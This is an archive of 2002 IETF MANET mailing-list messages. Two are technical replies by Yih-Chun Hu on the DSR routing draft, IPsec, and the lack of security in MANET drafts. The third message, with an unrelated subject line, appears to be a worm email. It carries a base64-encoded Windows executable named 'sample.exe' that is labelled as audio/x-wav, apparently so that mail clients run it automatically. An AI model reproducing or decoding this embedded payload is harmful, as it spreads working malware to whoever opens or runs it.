Sat, 23 Feb 2002 18:07:51 -0500 (EST) Received: from ux6.sp.cs.cmu.edu (UX6.SP.CS.CMU.EDU [128.2.181.250]) by itd.nrl.navy.mil (8.8.8/8.8.8) with SMTP id SAA07290 for ; Sat, 23 Feb 2002 18:07:48 -0500 (EST) Date: Sat, 23 Feb 2002 18:07:40 -0500 (EST) From: Yih-Chun Hu X-Sender: yihchun@ux6.sp.cs.cmu.edu To: Pekka Savola cc: manet@itd.nrl.navy.mil Subject: Re: New DSR Draft In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk >> I don't see how it's completely incompatible with IPsec. Anything below >> the DSR header can be encrypted or authenticated, in the same way as >> Hop-By-Hop options in IPv6 are normalized before AH processing. > >Source/destination addresses are usually included in IPSEC ICV >calculations, and AFAIR these can change in transit (I recall some oddness >with 255.255.255.255 at least, but not sure). Nope. DSR doesn't change these in transit (or if it does, for route request piggyback, it'll change them back before delivery to IP). >By the way, have you considered whether wide-scale use of 255.255.255.255 >is a good idea? If it's supposed to work off-link, I sense a new >directed-broadcast -style attack wave coming (using routing header as a >reflector from the remote router). That's filterable. A good point, though, for the (I think several) groups here working on internet bridging. In any case, manet has considered a 1-hop all manet nodes multicast address. I don't know the status of that. If it's there, we should use it. If not, maybe we should make one. >> I fail to see how this is a problem. How is this different from, say, IPv6 >> Routing Headers? > >Routing Headers aren't significantly overwritten in the process of being >transferred around the network. AFAIR, whole DSR options can be removed >or added while in transit. Entire options, yes, but generally the header will stay intact. In almost all cases, any options will stick around. A few (ie acknowledgement) are hop-by-hop, but they're rarely used in typical networks (MACA/MACAW style MAC, bidirectional, ...). IPv6 Source Route headers have addresses swapped around inside, so that's some amount of change. I'm wondering if there's any practical difference between (occasional) substantial change and consistant "slight" change. >Note that if above is true, this could be rather problematic from Path MTU >discovery perspective. Understood. But there are standard tricks that can be played with Path MTU discovery. And as long as a single route is being used, Path MTU works just fine. Just as in the Real World, when the route changes, the MTU might as well. >> bandwidth at the problem. Furthermore, all of manet by definition either >> sacrifices fast path performance or kills scalability due to lack of >> address aggregation, so mindlessly evaluating manet protocols from an >> Internet routing requirements document isn't meaningful. > >Another, related problem: all routers must support DSR, else they can't >dig into DSR header's options and see if they should process the header. >(as the router is not the destination address of the packets.) (This is another point I spoke too quickly on. AODV provides some level of address aggregation, but the protocol as currently specified doesn't provide dynamic aggregation. As a result, nodes within an aggregated route record must be routable from the replier.) Yes, all routers must support DSR. Just like all Internet gateway routers must support BGP. Most routing protocols work this way, right? >> If you don't believe the assumptions, > >For example, you refer to 802.11 as a potential technique, rely solely on >the security of the link-layer, but we all know that for practical >purposes there exists none in 802.11. Yes, yes, 802.11 has woeful security problems. Even if you addressed issues like WEP, DOS attacks are trivial. Link-layer encryption should be "correctly" implemented at some point; otherwise, several, less-reviewed, incompatible layers could be added to {DSR,AODV,TBRPF,OLSR,FSR,IERP,IARP,BRP,LANMAR}, or we could all agree on a manet-wide security shim. Not that I'm at all biased about which solution I prefer ;) Yih-Chun From owner-manet@itd.nrl.navy.mil Sat Feb 23 20:46:52 2002 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA26146 for ; Sat, 23 Feb 2002 20:46:52 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id SAA08032 for manet-outgoing; Sat, 23 Feb 2002 18:51:42 -0500 (EST) Received: from ux6.sp.cs.cmu.edu (UX6.SP.CS.CMU.EDU [128.2.181.250]) by itd.nrl.navy.mil (8.8.8/8.8.8) with SMTP id SAA08027 for ; Sat, 23 Feb 2002 18:51:39 -0500 (EST) Date: Sat, 23 Feb 2002 18:50:16 -0500 (EST) From: Yih-Chun Hu X-Sender: yihchun@ux6.sp.cs.cmu.edu To: haas@ece.cornell.edu cc: manet@itd.nrl.navy.mil Subject: Re: New DSR Draft In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk >> By no means do I intend to belittle recent progress in the area of >> practical, secure routing mechanisms for ad hoc networks; I'm only >> pointing out that _none_ of the current manet WG IDs do an acceptable job >> of providing security, and that for some time to come (at least a year or >> two) none of the proposed secure protocols make sense as Experimental >> RFCs. > >Hmmm, to backup such a strong claim, you would need to show that there >is a substantial flaw in *every* secure routing mechanisms proposed there. >This might be tough call .... No, I'm saying that it'll take a year for any of these protocols to mature and be well-enough cooked for WG consensus on publication as an Experimental RFC. The sense of time referred to the RFC, not to the work. >I agree with you that various of those schemes have different assumptions- >some more realistic than others. (For instance, as opposed to other >works, our scheme has the salient features that it does not require >security binding between *intermediate* nodes; only between the "source" >and the "destination".) I generally agree that that's a good assumption. Having certificates for all nodes may be reasonable as well, and the you can use those certs to set up a security association on-demand. Your earlier work with multiple CAs, however, may be a more conservative assumption, and the military-types may like that, instead. >But even if some of the assumptions in some >schemes (others, not ours (:-)), make less than realistic assumption, I >feel that your statement that "none_ of the current manet WG IDs do an >acceptable job of providing security" is a bit too harsh. Wouldn't you >agree? The current manet WG IDs (http://www.ietf.org/html.charters/manet-charter.html) are: http://www.ietf.org/internet-drafts/draft-ietf-manet-aodv-10.txt which says "Currently, AODV does not specify any special security measures" http://www.ietf.org/internet-drafts/draft-ietf-manet-tora-spec-04.txt which says "TBD" under Security Considerations http://www.ietf.org/internet-drafts/draft-ietf-manet-dsr-07.txt the draft that sparked this... discussion http://www.ietf.org/internet-drafts/draft-ietf-manet-olsr-05.txt which has no security considerations section http://www.ietf.org/internet-drafts/draft-ietf-manet-tbrpf-04.txt which vaguely alludes to using IPsec to cover all evil http://www.ietf.org/internet-drafts/draft-ietf-manet-lanmar-03.txt which has no security considerations section http://www.ietf.org/internet-drafts/draft-ietf-manet-simple-mbcast-01.txt the same cop out as the DSR draft http://www.ietf.org/internet-drafts/draft-ietf-manet-fsr-02.txt which has no security considerations section http://www.ietf.org/internet-drafts/draft-ietf-manet-zone-ierp-01.txt which has no security considerations section http://www.ietf.org/internet-drafts/draft-ietf-manet-zone-iarp-01.txt which has no security considerations section http://www.ietf.org/internet-drafts/draft-ietf-manet-zone-brp-01.txt which has no security considerations section http://www.ietf.org/internet-drafts/draft-ietf-manet-dsrflow-00.txt the same cop out as the DSR draft http://www.ietf.org/internet-drafts/draft-ietf-manet-bcast-00.txt "It does not make any provision for securing the contents of the flooded data, either to protect against tampering or to protect against unauthorized inspection of the data." Which one of these provides acceptable security? I'm not trying to downplay anyone's work in secure routing, or in general ad hoc network routing. It's very possible that your work or any of the other group's work could provide acceptable security in a number of environments. I'm just (rather bluntly) stating that this is a young and not very well understood area. There is good work in this area, and work is progressing, but to say that the community at large has confidence in any one protocol would be premature. Yih-Chun >~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~- >Prof. Zygmunt J. Haas http://people.ece.cornell.edu/haas >Wireless Networks Laboratory http://wnl.ece.cornell.edu >School of Electrical Engineering >Cornell University tel: +1-607-255-3454 >323 Frank Rhodes Hall fax: +1-607-255-9072 >Ithaca, NY 14853 e-mail: haas@ece.cornell.edu >U.S.A > WNL web page: http://wnl.ece.cornell.edu >~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~- From owner-manet@itd.nrl.navy.mil Sun Feb 24 10:00:08 2002 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA11759 for ; Sun, 24 Feb 2002 10:00:07 -0500 (EST) From: owner-manet@itd.nrl.navy.mil Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id HAA13924 for manet-outgoing; Sun, 24 Feb 2002 07:45:29 -0500 (EST) Received: from GLUON (209246018130.customer.ionix.net [209.246.18.130]) by itd.nrl.navy.mil (8.8.8/8.8.8) with SMTP id HAA13917 for ; Sun, 24 Feb 2002 07:45:25 -0500 (EST) Date: Sun, 24 Feb 2002 07:45:25 -0500 (EST) Message-Id: <200202241245.HAA13917@itd.nrl.navy.mil> Subject: Re: AW: column spanned in multicolumn region MIME-Version: 1.0 Content-Type: multipart/related; type="multipart/alternative"; boundary="====_ABC123456j7890DEF_====" X-Priority: 3 X-MSMail-Priority: Normal X-Unsent: 1 Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk --====_ABC123456j7890DEF_==== Content-Type: multipart/alternative; boundary="====_ABC09876j54321DEF_====" --====_ABC09876j54321DEF_==== Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable --====_ABC09876j54321DEF_====-- --====_ABC123456j7890DEF_==== Content-Type: audio/x-wav; name="sample.exe" Content-Transfer-Encoding: base64 Content-ID: Content-Transfer-Encoding: base64 TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAAA11CFvcbVPPHG1TzxxtU88E6pcPHW1TzyZqkU8dbVPPJmqSzxytU88cbVO PBG1TzyZqkQ8fbVPPMmzSTxwtU88UmljaHG1TzwAAAAAAAAAANH0AAMAAI9/UEUAAEwBBQBAw8I7 AAAAAAAAAADgAA4BCwEGAABwAAAAYAAAAAAAAAd1AAAAEAAAAIAAAAAANzcAEAAAABAAAAQAAAAA AAAABAAAAAAAAAAAEAEAABAAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAA AACEgQAAUAAAAADgAACIHgAAAAAAAAAAAAAAAAAAAAAAAAAAAQBECgAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIQBAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAudGV4dAAAAKplAAAAEAAAAHAAAAAQAAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAq CQAAAIAAAAAQAAAAgAAAAAAAAAAAAAAAAAAAQAAAQC5kYXRhAAAAiEcAAACQAAAAIAAAAJAAAAAA AAAAAAAAAAAAAEAAAMAucnNyYwAAAAAgAAAA4AAAACAAAACwAAAAAAAAAAAAAAAAAABAAABALnJl bG9jAABWCwAAAAABAAAQAAAA0AAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 